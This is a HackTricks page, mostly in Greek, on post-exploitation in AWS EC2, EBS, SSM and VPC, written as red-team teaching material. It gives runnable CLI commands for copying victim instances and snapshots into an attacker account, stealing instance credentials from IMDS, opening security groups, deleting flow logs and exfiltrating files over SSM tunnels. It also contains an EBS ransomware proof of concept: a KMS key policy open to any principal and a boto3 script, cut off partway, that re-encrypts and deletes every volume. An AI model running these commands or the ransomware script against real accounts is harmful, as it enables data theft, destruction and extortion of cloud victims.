AWS - EC2, EBS, SSM & VPC Post Exploitation
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
EC2 & VPC
Για περισσότερες πληροφορίες δείτε:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Κακόβουλος VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule
Το VPC traffic mirroring διπλασιάζει την εισερχόμενη και εξερχόμενη κυκλοφορία για EC2 instances εντός ενός VPC χωρίς την ανάγκη εγκατάστασης οτιδήποτε στις ίδιες τις instances. Αυτή η διπλασιασμένη κυκλοφορία συνήθως αποστέλλεται σε κάτι σαν σύστημα ανίχνευσης εισβολών δικτύου (IDS) για ανάλυση και παρακολούθηση.
Ένας επιτιθέμενος θα μπορούσε να το καταχραστεί για να συλλάβει όλη την κυκλοφορία και να αποκτήσει ευαίσθητες πληροφορίες από αυτήν:
Για περισσότερες πληροφορίες δείτε αυτή τη σελίδα:
Copy Running Instance
Οι instances συνήθως περιέχουν κάποιο είδος ευαίσθητων πληροφοριών. Υπάρχουν διάφοροι τρόποι για να αποκτήσετε πρόσβαση σε αυτές (δείτε EC2 privilege escalation tricks). Ωστόσο, ένας άλλος τρόπος να δείτε τι περιέχουν είναι να δημιουργήσετε ένα AMI και να εκκινήσετε ένα νέο instance (ακόμα και στον δικό σας λογαριασμό) από αυτό:
# List instances
aws ec2 describe-images
# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
EBS Snapshot dump
Snapshots are backups of volumes, τα οποία συνήθως θα περιέχουν ευαίσθητες πληροφορίες, επομένως η εξέτασή τους θα πρέπει να αποκαλύψει αυτές τις πληροφορίες.
Εάν βρείτε ένα volume χωρίς snapshot μπορείτε: Δημιουργήστε ένα snapshot και εκτελέστε τις παρακάτω ενέργειες ή απλά προσαρτήστε το σε ένα instance μέσα στον λογαριασμό:
Covert Disk Exfiltration via AMI Store-to-S3
Εξάγετε ένα EC2 AMI απευθείας σε S3 χρησιμοποιώντας CreateStoreImageTask για να αποκτήσετε μια ακατέργαστη εικόνα δίσκου χωρίς κοινή χρήση snapshot. Αυτό επιτρέπει πλήρη offline εγκληματολογική ανάλυση ή κλοπή δεδομένων, ενώ το δίκτυο του instance παραμένει ανεπηρέαστο.
AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
Live Data Theft via EBS Multi-Attach
Συνδέστε (attach) ένα io1/io2 Multi-Attach volume σε ένα δεύτερο instance και προσαρτήστε το ως read-only για να αναρροφήσετε live δεδομένα χωρίς snapshots. Χρήσιμο όταν το volume του θύματος έχει ήδη ενεργοποιημένο Multi-Attach στην ίδια AZ.
AWS - Live Data Theft via EBS Multi-Attach
EC2 Instance Connect Endpoint Backdoor
Δημιουργήστε ένα EC2 Instance Connect Endpoint, εξουσιοδοτήστε ingress και εισάγετε προσωρινά SSH keys για πρόσβαση σε ιδιωτικά instances μέσω ενός managed tunnel. Παρέχει γρήγορες διαδρομές lateral movement χωρίς να ανοίγονται δημόσια ports.
AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
EC2 ENI Secondary Private IP Hijack
Μετακινήστε τη δευτερεύουσα private IP ενός victim ENI σε ENI που ελέγχεται από τον επιτιθέμενο για να μιμηθείτε αξιόπιστους hosts που είναι allowlisted κατά IP. Επιτρέπει την παράκαμψη εσωτερικών ACLs ή SG κανόνων που βασίζονται σε συγκεκριμένες διευθύνσεις.
AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Elastic IP Hijack for Ingress/Egress Impersonation
Επανασυνδέστε (reassociate) ένα Elastic IP από το instance του θύματος στον επιτιθέμενο για να υποκλέψετε εισερχόμενη κίνηση ή να ξεκινήσετε εξερχόμενες συνδέσεις που φαίνεται να προέρχονται από αξιόπιστες δημόσιες IPs.
AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
Security Group Backdoor via Managed Prefix Lists
Εάν ένας κανόνας security group αναφέρεται σε έναν customer-managed prefix list, η προσθήκη CIDRs του επιτιθέμενου στη λίστα διευρύνει σιωπηλά την πρόσβαση σε κάθε εξαρτώμενο SG κανόνα χωρίς να τροποποιηθεί ο ίδιος ο SG.
AWS - Security Group Backdoor via Managed Prefix Lists
VPC Endpoint Egress Bypass
Δημιουργήστε gateway ή interface VPC endpoints για να επανακτήσετε εξερχόμενη πρόσβαση από απομονωμένα subnets. Η αξιοποίηση AWS-managed private links παρακάμπτει ελλείποντες ελέγχους IGW/NAT για εξαγωγή δεδομένων.
AWS – Egress Bypass from Isolated Subnets via VPC Endpoints
ec2:AuthorizeSecurityGroupIngress
Ένας επιτιθέμενος με την άδεια ec2:AuthorizeSecurityGroupIngress μπορεί να προσθέσει inbound κανόνες σε security groups (π.χ. επιτρέποντας tcp:80 από 0.0.0.0/0), εκθέτοντας έτσι εσωτερικές υπηρεσίες στο δημόσιο Internet ή σε μη εξουσιοδοτημένα δίκτυα.
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
ec2:ReplaceNetworkAclEntry
Ένας επιτιθέμενος με δικαιώματα ec2:ReplaceNetworkAclEntry (ή παρόμοια) μπορεί να τροποποιήσει τα Network ACLs (NACLs) ενός subnet και να τα κάνει πολύ επιεική — για παράδειγμα επιτρέποντας 0.0.0.0/0 σε critical ports — εκθέτοντας ολόκληρο το εύρος του subnet στο Internet ή σε μη εξουσιοδοτημένα τμήματα δικτύου. Σε αντίθεση με τα Security Groups, που εφαρμόζονται ανά instance, τα NACLs εφαρμόζονται σε επίπεδο subnet, οπότε η αλλαγή ενός περιοριστικού NACL μπορεί να έχει πολύ μεγαλύτερο blast radius επιτρέποντας πρόσβαση σε πολλούς περισσότερους hosts.
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0
ec2:Delete*
Ένας attacker με δικαιώματα ec2:Delete* και iam:Remove* μπορεί να διαγράψει κρίσιμους πόρους υποδομής και ρυθμίσεις — για παράδειγμα key pairs, launch templates/versions, AMIs/snapshots, volumes ή attachments, security groups ή rules, ENIs/network endpoints, route tables, gateways ή managed endpoints. Αυτό μπορεί να προκαλέσει άμεση διακοπή υπηρεσίας, απώλεια δεδομένων και απώλεια δικανικών αποδεικτικών στοιχείων.
One example is deleting a security group:
aws ec2 delete-security-group
–group-id <SECURITY_GROUP_ID>
VPC Flow Logs Cross-Account Exfiltration
Δείτε τα VPC Flow Logs να δείχνουν σε έναν attacker-controlled S3 bucket για να συλλέγετε συνεχώς metadata δικτύου (source/destination, ports) εκτός του victim account για μακροχρόνια reconnaissance.
AWS - VPC Flow Logs Cross-Account Exfiltration to S3
Data Exfiltration
DNS Exfiltration
Ακόμα κι αν κλειδώσεις ένα EC2 ώστε να μην μπορεί να φύγει καμία κίνηση, μπορεί ακόμη να exfil via DNS.
- VPC Flow Logs will not record this.
- You have no access to AWS DNS logs.
- Disable this by setting “enableDnsSupport” to false with:
aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>
Exfiltration via API calls
Ένας attacker θα μπορούσε να καλεί API endpoints ενός account που ελέγχει. Cloudtrail θα καταγράψει αυτές τις κλήσεις και ο attacker θα μπορεί να δει τα exfiltrate δεδομένα στα Cloudtrail logs.
Open Security Group
Μπορείτε να αποκτήσετε περαιτέρω πρόσβαση σε network υπηρεσίες ανοίγοντας ports όπως το παρακάτω:
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc to ECS
Είναι δυνατό να τρέξετε ένα EC2 instance και να το καταχωρήσετε ώστε να χρησιμοποιηθεί για την εκτέλεση ECS instances και στη συνέχεια να αποσπάσετε τα δεδομένα των ECS instances.
Για περισσότερες πληροφορίες δείτε αυτό.
ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)
Σε ECS με τον EC2 launch type, το control plane υποδύεται κάθε task role και σπρώχνει τα προσωρινά credentials στον ECS agent μέσω του Agent Communication Service (ACS) WebSocket channel. Ο agent στη συνέχεια παρέχει αυτά τα credentials στα containers μέσω του task metadata endpoint (169.254.170.2). Η έρευνα ECScape δείχνει ότι αν ένα container μπορεί να φτάσει το IMDS και να κλέψει το instance profile, μπορεί να μιμηθεί τον agent πάνω από ACS και να λάβει every task role credential σε αυτό το host, συμπεριλαμβανομένων των task execution role credentials που δεν εκτίθενται μέσω του metadata endpoint.
Attack chain
- Steal the container instance role from IMDS. Η πρόσβαση στο IMDS απαιτείται για να αποκτήσετε το host role που χρησιμοποιεί ο ECS agent.
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
- Discover the ACS poll endpoint and required identifiers. Χρησιμοποιώντας τα credentials του instance role, καλέστε
ecs:DiscoverPollEndpointγια να αποκτήσετε το ACS endpoint και να συγκεντρώσετε αναγνωριστικά όπως το cluster ARN και το container instance ARN. Το cluster ARN εκτίθεται μέσω του task metadata (169.254.170.2/v4/), ενώ το container instance ARN μπορεί να ληφθεί μέσω του agent introspection API ή (αν επιτρέπεται)ecs:ListContainerInstances. - Impersonate the ECS agent over ACS. Ξεκινήστε ένα SigV4-signed WebSocket στο poll endpoint και συμπεριλάβετε
sendCredentials=true. Το ECS αποδέχεται τη σύνδεση ως έγκυρη agent session και αρχίζει να stream-άρει μηνύματαIamRoleCredentialsγια όλα τα tasks στο instance. Αυτό περιλαμβάνει credentials task execution role, που μπορούν να ξεκλειδώσουν ECR pulls, Secrets Manager retrievals ή πρόσβαση σε CloudWatch Logs.
Βρείτε το PoC στο https://github.com/naorhaziz/ecscape
IMDS reachability with IMDSv2 + hop limit 1
Η ρύθμιση του IMDSv2 με HttpTokens=required και HttpPutResponseHopLimit=1 μπλοκάρει μόνο τα tasks που ζουν πίσω από ένα επιπλέον hop (Docker bridge). Άλλοι network modes παραμένουν εντός ενός hop από τον Nitro controller και εξακολουθούν να λαμβάνουν απαντήσεις:
| ECS network mode | IMDS προσβάσιμο? | Λόγος |
|---|---|---|
awsvpc | ✅ | Κάθε task παίρνει το δικό του ENI που παραμένει ένα hop μακριά από το IMDS, οπότε τα tokens και οι απαντήσεις metadata φτάνουν επιτυχώς. |
host | ✅ | Τα tasks μοιράζονται το host namespace, οπότε βλέπουν την ίδια απόσταση hop με το EC2 instance. |
bridge | ❌ | Οι απαντήσεις διακόπτονται στη Docker bridge επειδή αυτό το επιπλέον hop εξαντλεί το hop limit. |
Επομένως, μην υποθέτετε ποτέ ότι το hop limit 1 προστατεύει τα awsvpc ή host-mode workloads—δοκιμάζετε πάντα από μέσα στα containers σας.
Detecting IMDS blocks per network mode
-
awsvpc tasks: Security groups, NACLs, ή τροποποιήσεις routing δεν μπορούν να μπλοκάρουν τη link-local διεύθυνση 169.254.169.254 επειδή το Nitro την εγχέει στο host. Ελέγξτε
/etc/ecs/ecs.configγιαECS_AWSVPC_BLOCK_IMDS=true. Αν η σημαία λείπει (default) μπορείτε να κάνετε curl το IMDS απευθείας από το task. Αν είναι ρυθμισμένη, pivot-άρετε στο host/agent namespace για να την αλλάξετε πίσω ή εκτελέστε τα εργαλεία σας έξω από το awsvpc. -
bridge mode: Όταν τα requests για metadata αποτυγχάνουν παρόλο που το hop limit 1 είναι ρυθμισμένο, οι αμυνόμενοι πιθανώς πρόσθεσαν έναν
DOCKER-USERdrop κανόνα όπως--in-interface docker+ --destination 169.254.169.254/32 --jump DROP. Η λίσταiptables -S DOCKER-USERτο αποκαλύπτει, και η root πρόσβαση σάς επιτρέπει να διαγράψετε ή να αλλάξετε τη σειρά του κανόνα πριν κάνετε query στο IMDS. -
host mode: Ελέγξτε την agent configuration για
ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false. Αυτή η ρύθμιση αφαιρεί εντελώς τα task IAM roles, οπότε πρέπει είτε να την ενεργοποιήσετε ξανά, να μετακινηθείτε σε awsvpc tasks, είτε να αποσπάσετε credentials μέσω άλλης διεργασίας στο host. Όταν η τιμή είναιtrue(default), κάθε host-mode process—συμπεριλαμβανομένων των συμβιβασμένων containers—μπορεί να φτάσει το IMDS, εκτός αν ειδικά eBPF/cgroup φίλτρα στοχεύουν το169.254.169.254; ψάξτε για tc/eBPF προγράμματα ή iptables κανόνες που αναφέρονται σε αυτή τη διεύθυνση.
Η Latacora ακόμη κυκλοφόρησε Terraform validation code που μπορείτε να ρίξετε σε έναν target account για να απαριθμήσετε ποιες λειτουργίες δικτύου εξακολουθούν να εκθέτουν metadata και να σχεδιάσετε το επόμενο βήμα σας ανάλογα.
Μόλις κατανοήσετε ποιες λειτουργίες εκθέτουν το IMDS, μπορείτε να σχεδιάσετε τη διαδρομή post-exploitation: στοχεύστε οποιοδήποτε ECS task, ζητήστε το instance profile, μιμηθείτε τον agent και συλλέξτε κάθε άλλο task role για lateral movement ή persistence μέσα στο cluster.
Αφαίρεση VPC flow logs
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
SSM Port Forwarding
Απαιτούμενα δικαιώματα:
ssm:StartSession
Εκτός από την εκτέλεση εντολών, το SSM επιτρέπει traffic tunneling, το οποίο μπορεί να καταχραστεί για pivot από EC2 instances που δεν έχουν πρόσβαση δικτύου λόγω Security Groups ή NACLs. Ένα από τα σενάρια όπου αυτό είναι χρήσιμο είναι το pivoting από ένα Bastion Host σε ένα ιδιωτικό EKS cluster.
Για να ξεκινήσετε μια συνεδρία χρειάζεται να έχετε εγκατεστημένο το SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
- Εγκαταστήστε το SessionManagerPlugin στη μηχανή σας
- Συνδεθείτε στον Bastion EC2 χρησιμοποιώντας την ακόλουθη εντολή:
aws ssm start-session --target "$INSTANCE_ID"
- Πάρε τα προσωρινά credentials του Bastion EC2 AWS με το Abusing SSRF in AWS EC2 environment script
- Μετάφερε τα credentials στο δικό σου μηχάνημα στο αρχείο
$HOME/.aws/credentialsως προφίλ[bastion-ec2] - Σύνδεσου στο EKS ως το Bastion EC2:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
- Ενημερώστε το πεδίο
serverστο αρχείο$HOME/.kube/configώστε να δείχνει σεhttps://localhost - Δημιουργήστε ένα SSM tunnel ως εξής:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
- Η κίνηση από το εργαλείο
kubectlπροωθείται τώρα μέσω του SSM tunnel του Bastion EC2 και μπορείτε να αποκτήσετε πρόσβαση στο ιδιωτικό EKS cluster από τον δικό σας υπολογιστή εκτελώντας:
kubectl get pods --insecure-skip-tls-verify
Σημειώστε ότι οι συνδέσεις SSL θα αποτύχουν εκτός εάν ορίσετε την παράμετρο --insecure-skip-tls-verify (ή το αντίστοιχο στα εργαλεία audit του K8s). Δεδομένου ότι η κυκλοφορία δρομολογείται μέσω του ασφαλούς AWS SSM tunnel, είστε ασφαλείς από οποιονδήποτε τύπο επιθέσεων MitM.
Τέλος, αυτή η τεχνική δεν είναι συγκεκριμένη για επιθέσεις σε ιδιωτικά EKS clusters. Μπορείτε να ορίσετε οποιαδήποτε domains και ports για να pivot σε οποιαδήποτε άλλη AWS service ή σε μια custom εφαρμογή.
Γρήγορο Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
Αν χρειάζεστε μόνο να προωθήσετε one TCP port from the EC2 instance to your local host μπορείτε να χρησιμοποιήσετε το AWS-StartPortForwardingSession SSM document (no remote host parameter required):
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
Η εντολή δημιουργεί ένα αμφίδρομο tunnel μεταξύ του workstation σας (localPortNumber) και της επιλεγμένης θύρας (portNumber) στο instance without opening any inbound Security-Group rules.
Συνηθισμένες περιπτώσεις χρήσης:
- File exfiltration
- Στο instance ξεκινήστε έναν γρήγορο HTTP server που δείχνει στον κατάλογο που θέλετε να exfiltrate:
python3 -m http.server 8000
- Από το workstation σας ανακτήστε τα αρχεία μέσω του SSM tunnel:
curl http://localhost:8000/loot.txt -o loot.txt
- Πρόσβαση σε εσωτερικές web εφαρμογές (π.χ. Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
Συμβουλή: Συμπιέστε και κρυπτογραφήστε τα αποδεικτικά στοιχεία πριν από το exfiltrating τους, ώστε το CloudTrail να μην καταγράφει το clear-text περιεχόμενο:
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
Κοινή χρήση AMI
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
Αναζήτηση ευαίσθητων πληροφοριών σε δημόσιες και ιδιωτικές AMIs
- https://github.com/saw-your-packet/CloudShovel: Το CloudShovel είναι ένα εργαλείο σχεδιασμένο για να αναζητά ευαίσθητες πληροφορίες μέσα σε δημόσιες ή ιδιωτικές Amazon Machine Images (AMIs). Αυτοματοποιεί τη διαδικασία εκκίνησης instances από στοχευμένα AMIs, το mounting των volumes τους και τη σάρωση για πιθανά secrets ή ευαίσθητα δεδομένα.
Κοινή χρήση EBS Snapshot
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
EBS Ransomware PoC
Μια proof of concept παρόμοια με την επίδειξη Ransomware που παρουσιάστηκε στις σημειώσεις S3 post-exploitation. Το KMS θα έπρεπε να μετονομαστεί σε RMS (Ransomware Management Service) δεδομένης της ευκολίας με την οποία μπορεί να χρησιμοποιηθεί για να κρυπτογραφήσει διάφορες υπηρεσίες AWS.
Πρώτα, από έναν ‘attacker’ AWS λογαριασμό, δημιούργησε ένα customer managed key στο KMS. Σε αυτό το παράδειγμα θα αφήσουμε την AWS να διαχειριστεί τα δεδομένα του key για εμάς, αλλά σε ρεαλιστικό σενάριο ένας malicious actor θα διατήρούσε τα δεδομένα του key εκτός του ελέγχου της AWS. Άλλαξε το key policy ώστε να επιτρέπει σε οποιονδήποτε AWS account Principal να χρησιμοποιεί το key. Για αυτό το key policy, το όνομα του λογαριασμού ήταν ‘AttackSim’ και ο κανόνας πολιτικής που επιτρέπει πλήρη πρόσβαση ονομάζεται ‘Outside Encryption’
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
Ο κανόνας πολιτικής κλειδιού χρειάζεται να έχει ενεργοποιημένα τα ακόλουθα για να επιτρέπει τη χρήση του για την κρυπτογράφηση ενός EBS volume:
kms:CreateGrantkms:Decryptkms:DescribeKeykms:GenerateDataKeyWithoutPlainTextkms:ReEncrypt
Τώρα με το δημόσια προσβάσιμο key προς χρήση. Μπορούμε να χρησιμοποιήσουμε έναν ‘victim’ account που έχει μερικές EC2 instances σε λειτουργία με συνημμένα unencrypted EBS volumes. Τα EBS volumes αυτού του ‘victim’ account είναι ο στόχος μας για κρυπτογράφηση — αυτή η επίθεση εκτελείται υπό την υπόθεση παραβίασης ενός high-privilege AWS account.
Παρόμοιο με το S3 ransomware παράδειγμα. Αυτή η επίθεση θα δημιουργήσει αντίγραφα των συνημμένων EBS volumes χρησιμοποιώντας snapshots, θα χρησιμοποιήσει το δημόσια διαθέσιμο key από τον ‘attacker’ account για να κρυπτογραφήσει τα νέα EBS volumes, στη συνέχεια θα αποσυνδέσει τα αρχικά EBS volumes από τις EC2 instances και θα τα διαγράψει, και τέλος θα διαγράψει τα snapshots που χρησιμοποιήθηκαν για να δημιουργήσουν τα νεοκρυπτογραφημένα EBS volumes.
Αυτό έχει ως αποτέλεσμα να μένουν διαθέσιμα στον account μόνο τα κρυπτογραφημένα EBS volumes.
Αξίζει επίσης να σημειωθεί ότι το script σταμάτησε τις EC2 instances για να αποσυνδέσει και να διαγράψει τα αρχικά EBS volumes. Τα αρχικά unencrypted volumes έχουν πλέον εξαφανιστεί.
Στη συνέχεια, επιστρέψτε στην key policy στον ‘attacker’ account και αφαιρέστε τον κανόνα πολιτικής ‘Outside Encryption’ από την key policy.
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
Περίμενε λίγο ώστε η νεορυθμισμένη πολιτική του κλειδιού να διαδοθεί. Στη συνέχεια επέστρεψε στον λογαριασμό ‘victim’ και προσπάθησε να επισυνάψεις έναν από τους πρόσφατα κρυπτογραφημένους EBS volumes. Θα διαπιστώσεις ότι μπορείς να επισυνάψεις τον volume.
Όμως όταν προσπαθήσεις πραγματικά να εκκινήσεις ξανά το EC2 instance με τον κρυπτογραφημένο EBS volume, αυτό θα αποτύχει και θα πάει από την κατάσταση ‘pending’ πίσω στην κατάσταση ‘stopped’ επ’ αόριστον, επειδή ο επισυναπτόμενος EBS volume δεν μπορεί να αποκρυπτογραφηθεί με το κλειδί καθώς η πολιτική του κλειδιού πλέον δεν το επιτρέπει.
Αυτό είναι το python script που χρησιμοποιήθηκε. Παίρνει AWS creds για έναν λογαριασμό ‘victim’ και μια δημόσια διαθέσιμη AWS ARN τιμή για το κλειδί που θα χρησιμοποιηθεί για την κρυπτογράφηση. Το script θα δημιουργήσει κρυπτογραφημένα αντίγραφα ΟΛΩΝ των διαθέσιμων EBS volumes που είναι επισυναπτόμενα σε ΟΛΑ τα EC2 instances στο στοχευμένο AWS account, στη συνέχεια θα σταματήσει κάθε EC2 instance, θα αποσυνδέσει τους αρχικούς EBS volumes, θα τους διαγράψει και τελικά θα διαγράψει όλα τα snapshots που χρησιμοποιήθηκαν κατά τη διαδικασία. Αυτό θα αφήσει μόνο κρυπτογραφημένους EBS volumes στον στοχευμένο ‘victim’ account. ΜΟΝΟ ΧΡΗΣΙΜΟΠΟΙΗΣΤΕ ΑΥΤΟ ΤΟ SCRIPT ΣΕ ΠΕΡΙΒΑΛΛΟΝ ΔΟΚΙΜΩΝ — ΕΙΝΑΙ ΚΑΤΑΣΤΡΟΦΙΚΟ ΚΑΙ ΘΑ ΔΙΑΓΡΑΨΕΙ ΟΛΟΥΣ ΤΟΥΣ ΑΡΧΙΚΟΥΣ EBS VOLUMES. Μπορείτε να τους ανακτήσετε χρησιμοποιώντας το χρησιμοποιηθέν KMS key και να τους επαναφέρετε στην αρχική τους κατάσταση μέσω snapshots, αλλά θέλω απλώς να σας κάνω σαφές ότι πρόκειται στην ουσία για ransomware PoC.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
